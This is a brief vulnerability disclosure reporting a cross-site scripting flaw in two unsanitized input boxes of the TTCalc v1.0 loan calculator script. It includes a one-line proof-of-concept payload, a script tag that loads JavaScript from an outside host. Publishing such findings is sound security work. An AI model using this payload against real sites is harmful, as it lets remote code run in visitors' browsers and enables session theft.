The TTCalc script version 1.0 is susceptible to a cross site scripting flaw.
1f321ff4f20359c9de237bec78932841abe949f651396298207d9f133f71abba
TigerTom Scripts
Homepage:
http://www.ttfreeware.co.uk/
Affected files:
TTCalc script v1.0
---------------------------
Data pased in the "Length of loan, years" and "Length of mortgage, years" input boxes are not sanatized before being generated.
For a PoC in the input boxes listed above simply put:
<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>